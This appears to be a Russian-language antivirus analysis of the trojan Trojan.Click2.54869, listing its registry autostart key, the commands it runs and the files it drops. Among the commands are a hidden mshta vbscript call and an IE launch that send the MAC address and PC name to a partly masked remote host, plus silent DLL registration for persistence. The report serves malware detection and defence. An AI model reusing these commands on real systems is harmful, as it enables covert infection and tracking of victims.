Trojan.Click2.54869

Для обеспечения автозапуска и распространения:

Модифицирует следующие ключи реестра:

[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\SharedTaskScheduler] '{C4560D12-CE25-4A2E-A5D4-B5070FCBE282}' = 'csiddll'

Создает следующие сервисы:

Вредоносные функции:

Для затруднения выявления своего присутствия в системе

блокирует отображение:

Создает и запускает на исполнение:

Запускает на исполнение:

'<SYSTEM32>\regsvr32.exe' /s <SYSTEM32>\ghjik.dll
'<SYSTEM32>\findstr.exe' /c:"Physical Address"
'<SYSTEM32>\ipconfig.exe' /all
'<SYSTEM32>\tasklist.exe' /nh
'%PROGRAM_FILES%\Internet Explorer\IEXPLORE.EXE' http://27##.com:800/gg/count.asp?ma## 00:00:00:00:00:01&pcname=118&userid=001
'<SYSTEM32>\mshta.exe' vbscript:CreateObject("WScript.Shell").Run("iexplore http://27##.com:800/gg/count.asp?ma## 00:00:00:00:00:01&pcname=118&userid=001",0)(window.close)
'<SYSTEM32>\cmd.exe' /c 375O540.bat
'<SYSTEM32>\cmd.exe' /c %WINDIR%\46.bat
'<SYSTEM32>\calc.exe'
'<SYSTEM32>\conime.exe'
'<SYSTEM32>\cmd.exe' /c "c:\support338945a0.bat"
'<SYSTEM32>\rundll32.exe' aycn0.dll , InstallMyDll
'<SYSTEM32>\regsvr32.exe' /s <SYSTEM32>\aycnk.dll
'<SYSTEM32>\svchost.exe' -k netsvcs

Внедряет код в

следующие системные процессы:

Изменения в файловой системе:

Создает следующие файлы:

C:\SaveTxta902.txt
<SYSTEM32>\dllcache\aycn0.dll
%PROGRAM_FILES%\Docmentt\chsss.exe
<SYSTEM32>\aycn0.dll
%WINDIR%\46.exe
%TEMP%\33223192000.jpg
C:\support338945a0.bat
<SYSTEM32>\aycnk.dll
%TEMP%\575.aqq
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\lin[1].htm
%TEMP%\1.txt
%TEMP%\375O540.bat
<SYSTEM32>\yswigl.exe
<SYSTEM32>\ghjik.dll
%WINDIR%\46.bat
%TEMP%\40.exe
%TEMP%\106.exe
%TEMP%\107.exe
%TEMP%\001.exe
%TEMP%\small.exe
%TEMP%\xiaoyu01.exe
%TEMP%\8003.exe
%TEMP%\606.exe
<SYSTEM32>\Updata.exe
<SYSTEM32>\CatRoot2\SetDns.dat
<SYSTEM32>\Setup\d3dx9_36.dll
%TEMP%\b2.exe
%TEMP%\10003.exe
%TEMP%\a1.vbs
%TEMP%\ad006.exe